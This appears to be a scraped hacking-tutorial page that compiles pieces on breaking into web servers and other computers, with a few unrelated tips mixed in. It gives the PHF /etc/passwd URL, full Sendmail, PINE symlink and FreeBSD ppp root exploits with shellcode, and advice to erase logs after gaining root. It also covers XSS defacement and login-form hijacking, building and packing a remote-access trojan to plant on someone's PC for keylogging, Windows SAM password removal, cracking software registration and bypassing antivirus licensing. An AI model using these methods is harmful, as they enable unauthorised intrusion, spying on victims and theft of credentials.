Hacking Webpages

1. Getting the Password File Through FTP

Ok well one of the easiest ways of getting superuser access is through anonymous ftp access into a webpage. First you need learn a little about the password file...

root:User:d7Bdg:1n2HG2:1127:20:Superuser

TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh

BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

This is an example of a regular encrypted password file. The Superuser is the part that gives you root. That's the main part of the file.

root:x:0:1:Superuser:/:

ftp:x:202:102:Anonymous ftp:/u1/ftp:

ftpadmin:x:203:102:ftp Administrator:/u1/ftp

This is another example of a password file, only this one has one little difference, it's shadowed. Shadowed password files don't let
you view or copy the actual encrypted password. This causes problems for the password cracker and dictionary maker(both explained later in the text). Below is another example of a shadowed password file:

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh

daemon:x:1:1:0000-Admin(0000):/:

bin:x:2:2:0000-Admin(0000):/usr/bin:

sys:x:3:3:0000-Admin(0000):/:

adm:x:4:4:0000-Admin(0000):/var/adm:

lp:x:71:8:0000-lp(0000):/usr/spool/lp:

smtp:x:0:0:mail daemon user:/:

uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:

nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico

listen:x:37:4:Network Admin:/usr/net/nls:

nobody:x:60001:60001:uid no body:/:

noaccess:x:60002:60002:uid no access:/:

webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh

pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false

ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes they are disguised as an * as well.

See also: alt.2600/#hack F.A.Q. "What is password shadowing?", "Where can I find the password file if it's shadowed?"

Now that you know a little more about what the actual password file looks like you should be able to identify a normal encrypted pw from a shadowed pw file. We can now go on to talk about how to crack it.

Cracking a password file isn't as complicated as it would seem, although the files vary from system to system.

1.The first step that you would take is to download or copy the file.

2.The second step is to find a password cracker and a dictionary maker.

Although it's nearly impossible to find a good cracker there are a few ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file... When you start a cracking prog you will be asked to find the the password file. That's where a dictionary maker comes in. You can download one from nearly every hacker page on the net. A dictionary maker finds all the possible letter combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be added) .

We will be releasing our pasword file to the public soon, it will be called, Psychotic Candy, "The Perfect Drug." As far as we know it will be one of the largest in circulation.

3.You then start up the cracker and follow the directions that it gives you.

The PHF Technique

Well I wasn't sure if I should include this section due to the fact that everybody already knows it and most servers have already found out about the bug and fixed it. But since I have been asked questions about the phf I decided to include it.

The phf technique is by far the easiest way of getting a password file(although it doesn't work 95% of the time). But to do the phf all you do is open a browser and type in the following link:

http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

You replace the webpage_goes_here with the domain. So if you were trying to get the pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

and that's it! You just sit back and copy the file(if it works).

http://victime.com/cgi-bin/php.cgi?/etc/passwd

Allows you to recover the "/etc/passwd" file as well as the phf

Telnet and Exploits

Well exploits are the best way of hacking webpages but they are also more complicated then hacking through ftp or using the phf. Before you can setup an exploit you must first have a telnet proggie, there are many different clients you can just do anetsearch and find everything you need.

It’s best to get an account with your target(if possible) and view the glitches from the inside out. Exploits expose errors or bugsin systems and usually allow you to gain root access. There are many different exploits around and you can view each seperately. I’m going to list a few below but the list of exploits is endless.

This exploit is known as Sendmail v.8.8.4

It creates a suid program /tmp/x that calls shell as root. This is how you set it up:

cat << _EOF_ >/tmp/x.c

#define RUN "/bin/ksh"

#include

main()

{

execl(RUN,RUN,NULL);

}

_EOF_

#

cat << _EOF_ >/tmp/spawnfish.c

main()

{

execl("/usr/lib/sendmail","/tmp/smtpd",0);

}

_EOF_

#

cat << _EOF_ >/tmp/smtpd.c

main()

{

setuid(0); setgid(0);

system("chown root /tmp/x ;chmod 4755 /tmp/x");

}

_EOF_

#

#

gcc -O -o /tmp/x /tmp/x.c

gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c

gcc -O3 -o /tmp/smtpd /tmp/smtpd.c

#

/tmp/spawnfish

kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`

rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c

sleep 5

if [ -u /tmp/x ] ; then

echo "leet..."

/tmp/x

fi

And now on to another exploit. I’m going to display the pine exploit through linux. By watching the process table with ps to see which users are running PINE, one can then do an ls in /tmp/ to gather the lockfile names for each user. Watching the process table once again will now reveal when each user quits PINE or runs out of unread messages in their INBOX, effectively deleting the respective lockfile.

Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic example) will cause PINE to create

~hamors/.rhosts as a 666 file with PINE's process id as its contents. One may now simply do an echo "+ +" >

/tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile.

This was writen by Sean B. Hamor:

For this example, hamors is the victim while catluvr is the attacker:

hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine

catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine

hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors

- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine

catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine

catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine

hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4

+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors

Now on to another one, this will be the last one that I’m going to show. Exploitation script for the ppp vulnerbility as described by no one to date, this is NOT FreeBSD-SA-96:15. Works on FreeBSD as tested. Mess with the numbers if it doesnt work. This is how you set it up:

#include

#include

#include

#define BUFFER_SIZE 156 /* size of the bufer to overflow */

#define OFFSET -290 /* number of bytes to jump after the start

of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[])

{

char *buf = NULL;

unsigned long *addr_ptr = NULL;

char *ptr = NULL;

char execshell[] =

"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */

"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */

"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20 bytes */

"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15 bytes, 57 total */

int i,j;

buf = malloc(4096);

/* fill start of bufer with nops */

i = BUFFER_SIZE-strlen(execshell);

memset(buf, 0x90, i);

ptr = buf + i;

/* place exploit code into the buffer */

for(i = 0; i < strlen(execshell); i++)

*ptr++ = execshell[i];

addr_ptr = (long *)ptr;

for(i=0;i < (104/4); i++)

*addr_ptr++ = get_esp() + OFFSET;

ptr = (char *)addr_ptr;

*ptr = 0;

setenv("HOME", buf, 1);

execl("/usr/sbin/ppp", "ppp", NULL);

}

Now that you’ve gotten root "what’s next?" Well the choice is up to you but I would recommend changing the password before you delete or change anything. To change their password all you have to do is login via telnet and login with your new account. Then you just type: passwd and it will ask you for the old password first followed by the new one. Now only you will have the new pw and that should last for a while you can now upload you pages, delete all the logs and just plain do your worst J Psychotic writes our own exploits and we will be releasing them soon, so keep your eyes open for them. We recommend that if you are serious about learning ethnical hacking that you download our Unix Bible.

Guest book Hacking

So you have found a guest book which allows for HTML injection, so what now, what can you do?

You can do alot of interesting stuff with HTML injection (Which is actually called XSS).

Like what...
So we know that we can enter HTML into the page, chances are if the owner hasn't stopped you putting HTML into the page, chances are they wont have stopped you putting PHP into the page (this will only work if the website is hosted on a host which has PHP installed for the users, most hosts allow for PHP pages i believe).

But what if you can't inject PHP into the guest book
Ok so you can't inject PHP directly into the guest book, unlucky.
But its not the end of the world, lets think through HTML and think what we might be able to use here, what allows us to put things into a webpage without having the processing done on that website...
IFRAME, FRAME, EMBED, APPLET

FRAME, IFRAME
Lets think you want to get a php page on to a website which only accepts HTML, so lets give it some HTML.

Code:
http://www.yoursite.org/evilscript.php">


Now what does this do?
What it does is it creates an area on the page (this can be defined by using the height and width parameters) which basically shows what is on the page that you have used (in this case http://www.yoursite.org/evilscript.php).
Please note, that all processing of information is done where this is hosted.

EMBED, APPLET
Now for all you clever clogs who can write stuff in things like java, flash etc. you could write something in that language which could get information for you or some other task (im not going to go into alot of detail due to not knowing java, flash or what you are able to do with these)
Please note, that all processing of information is done where this is hosted.

Ok we can put things onto the website, but you can't really do much to the website can you, you can't deface it or get passwords.
Well we can but this involves another element of HTML, STYLE.
What this does is it defines how something comes up on a page so you can write a style to make anything in the bold tages() to be font arial font-color blue, or something like that

Wow we can make the thing look nice but that doesn't help us get passwords or deface the website.
I'll start with defacing the website.
There is a couple of things that style can do which are very useful...

Z-INDEX, what this does is define what layer of the page your information is.
The default level is 0, this is the original webpage.
1 is above 0 therefore if you set something to be z-index = 1 then it will be above the information on level 0. which is the original webpage.
-1 is below 0 therefore is you set something to be z-index = -1 then it will be below the informatin on level 0, this will mean that what you put would be hidden behind the original website.

POSITION, what this does is define where on the page what you have used position on will be displayed, for this I will only go into absolute position but there is also relative position.
With this you define exactly where you want something to be placed. There are two parameters to absolute position, top and left. This is how far from the top of the browser area you want something and how far from the left of the browser area you want something.

HIEGHT and WIDTH, what this does is define what size something is.

Now lets combine all those together, what would happen if you set...
z-index to 1
position top = 0
postition left = 0
height = 100%
width = 100%
on an something

Well it would cover the entire page.
That would be very useful for defacing the website.
Here is some example code of what something like this would look like.
Code:

You have been Hacked...

By Me

But what about getting passwords
Well if you can cover their web page with your own, maybe you can take their source code put that into what has been given above, change the form which allows them to login, to send you the information instead, obviously this is very obvious, so you will have to think of ways of changing this method to make sure you dont make it obvious of what has just happened.

Practicing HTML Injection/XSS
If anyone is interested in practicing what i have been talking about here, on my website i have created an area (completely secure) which will allow you to try this on differen't levels of filtering.
Each user has their own area (which only that user can access) so there is no worries about using that and then finding someone has stolen your information.
The website is Learn2Hack.Net
You need to be a member of Learn2Hack in order to access the practice area.
You will need to go to "Practice Area's" then to "XSS" then you choose either Guest book 1 (which has a small amount of filtering) or Guest book 2 (which has more filtering).

Free Download AVG Bootable Rescue CD

AVG is one of the best FREE anti-virus and it also provides rescue CD. Its built on a Linux distribution platform and contains lots of useful system tools including anti-virus, midnight commander, simpler and several Linux tools like vi, openssh, ntfsprogs, etc.

Download AVG Rescue CD

FIND PASSWORDS BEHIND THE STARS("*" asterisk)

FIND PASSWORDS BEHIND THE STARS Ever wanted toknow whatis behind those ********passwords. For example if you want to know password from facebook account that somebody else have typed and left it. Here is post which will help you. .1)Howto breakhiddenpasswords******** in firefoxThis is simple. Just copy and paste the followingjavascript codewhen...

remote hacking

Hack any computer,U can operate or hack any other computer from your computer,U can hack his computer,copy files from his computer to your computer without his knowledge & put files from your computer to his/her computer.

Remote Hacking is 90% undetectable .

Here we learn to hack a computer any where in this whole world.
A Major Notice If you are behind a router you will need to port forward your router. To do this you can use a DMS. Its hard to explain as every router has a different interface ( homepage that has a different layout ) so i suggest you go to Google and search portforward.com. It will teach you how to port forward your router there.

To begin with you will need these three tools,download them given below:

1.Daemon_Crypt

2.PC_GUard

3.Yuri_Rat

After downloading these tools ur first step is to open Yuri Rat and then click on server build

You should now have the following the screen

In this screen I want you to put your IP address into the DNS/IP section.

To get IP Address go to Start > Run > Type CMD and hit enter. When the black box appears type in IPCONFIG. You will then have your IP Address

Port: You Can Leave As Default (-7898-)

Assigned Name: Doesn’t effect how the server will work its just to keep you more organized so if you wanted to hack your friend “JOE” and specifically make this server for him then you may want to type something like “JOES TROJAN”.

Server Install Name: You should leave this as default as I myself don’t know what the difference is as every server you make is named server when it is 1st created anyway. Do not change it as it may make problems but I am not sure.

Ok as you can see there are more settings on the right hand side. I am going to recommend you settings for different purposes.

To Hack A Friend For Fun: Uncheck Everything Unless You Want To Do Optional
(OPTIONAL) Melt Server - Your server will disappear into another folder
(OPTIONAL) Custom Icon if you want to make it more believable or something then get an icon of super Mario or something you get my drift

To Find Out Valuable Information: Check Everything

Now You Are Finished Click Build.

Your server will then be saved to your C: or Hard Drive which ever you know it as. Now we are going to make the server about 90% Undetectable. Only once has one of my servers been detected by an anti virus and I think it was a Norton not sure which version. Ive scanned more then once with Kasper Sky & Symantec Anti Virus and every time they said its clean so lets begin

Open Up Daemon Crypt

Select Your File by clicking browse and going to the folder your server is in. If you have not moved it, it will most likely be in C:

So Now You Have This

Click On Crypt and then you can close Daemon Tools

Now Install Your Pc Guard for Win32

When you open it you should get this

Ok you have to do basically the same thing as what you did with daemon tools. Click Browse and then find your server so that you have this

You then want to click on the General Settings and put these settings

Ok now you want to go to customization and make sure nothing is ticked

For the last step you want to click the protection methods tab and set it to plain. And then click on protect

Your server is now undetectable =)

Ok so now we created our server and everything is ready to go. Now our real work start trapping, say ur friend this is nice article on hacking or a sexy pic of a star, or u can trap him/her depending upon thier likes, The Server has been send to their system & they have opened it. If you checked the melt server option then the server will basically evaporate into their computer.

Ok so now you have the server running on there comp and it has opened up the default port for you to connect to.

Once again open Yuri Rat and click on listen. Yuri rat will then listen for your online servers that you have gave to people running on the default port 7898. If the person who you sent the rat to is not online you cant connect. When the server you sent out to his/her a balloon notification will pop up. Note that yuri rat should still be listening for the servers. The server will show up in yuri rat. You right click and press connect. And there you go. you are now successfully connected to your victim

Now withoutt up-loading plugins from yuri rat to his/hers pc u r able to operate certain files or programs such as download files from there pc & place ur files onto his/her pc.

When you are connected click on plug ins and them upload all of them.

You will then have access to keyloggers, screen capture and much more. If you get stuck click on the help button and it will tel you more about plugins

Mobile secret codes

Below we present secret codes of nokia mobiles which are very useful for people who unlock phones and for amateurs of this topic. These special key sequences entered fromkeyboard of phone allow you to get some important information like IMEI number, release date, software version and much more. You can also choose default language, activatenetmonitor ect.


1610/1630

*#170602112302# (software version)

1610/1611

IMEI number: -*# 0 6 #
Software version: -* # 1 7 0 6 0 2 1 1 2 3 9 2 #
Simlock status: - # 9 2 7 0 2 6 8 9 #


2110

*#9999# (software version)

2110i/2110e

*#170602112302# or (depends on model)*#682371158412125# (software version)

How to Lock the folders

You can lock and unlock your folder with this simple trick !

Procedure :

1. Make a folder on the desktop and name it as “folder”
2. Now, open notepad and write ren folder folder.{21EC2020-3AEA-1069-A2DD-08002B30309D} and now (Notepad Menu) File>save as.
3. In the ‘save as’ name it as lock.bat and click save ! (Save it on Desktop)
4. Now, again open notepad again and write ren folder.{21EC2020-3AEA-1069-A2DD-08002B30309D} folder and now (Notepad Menu) File>save as.
5. In the ‘save as’ name it as key.bat and click save ! (Save it on Desktop)
6. Now, double click lock.bat to lock the folder and now if you open your folder, control panel will open up !
7. Now, double click key.bat to open the folder and now if you open your folder, you can access your data inside the folder again !
8. Lock your folder and hide the key.bat somewhere else on your hard disk !
9. Whenever you want to open your folder just paste the key.bat on desktop and open your folder using it !

breaking Administrator password

Administrator password can be broken by replacing sam file in system32\config by the sam file in repair folder of windows. it can be easily done on a machine with dual operating systems, simply log on to os other then the one whoes password is to be cracked the way is exactly same as written above but if there is a single os on a machine then there is only one way i.e to use ms dos start up disk or some other boot disk and replace the sam file in config folder with the one in repair folder
note:- this method works only if hard drive is FAT32 formatted because NTFS drive does’nt take boot from Ms DOS
This way you can remove the old administratOr password as if the windows is newly installed and the password was’nt set

Crack Any type of Registration Protection

How To Crack Any type of registration protection First of all.Use Softice cause i don’t like Live Approach. Run Your target program and go on the registration dialog, then put in the dialog any name and any serial number but DON’T press OK before press “control+d” to pops up softice and in softice sets some Break points…….for approaching with a registration routine we must breakpoint on API(windows functions) used to read Your name and Your Serial No. They are Getwindowtext GetwindowtextA Getdlgitemtext GetdlgitemtextA Hmemcpy (that’s not an API but it’s the best) Well the “A” after the API means 32 bit so if your program...

How to activate Kaspersky 2009 without KEY for Free

How to activate Kaspersky 2009 the easy way... No keys necessary, muhahaha... First off download either KIS or KAV from the Kaspersky web site. Once installed and it asks you to register, skip through this section. After the computer has rebooted load up Kaspersky, click on "Settings" and go down to "Options" and un-check "Enable Self-Defence". Click ok. Now disable Kaspersky and exit the program. Next run regedit Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\KasperskyLab\protected\AVP8\environment\ Scroll down to Product Status and change from "Release" to "Beta" Exit regedit and reload Kaspersky, you'll notice that when you goto...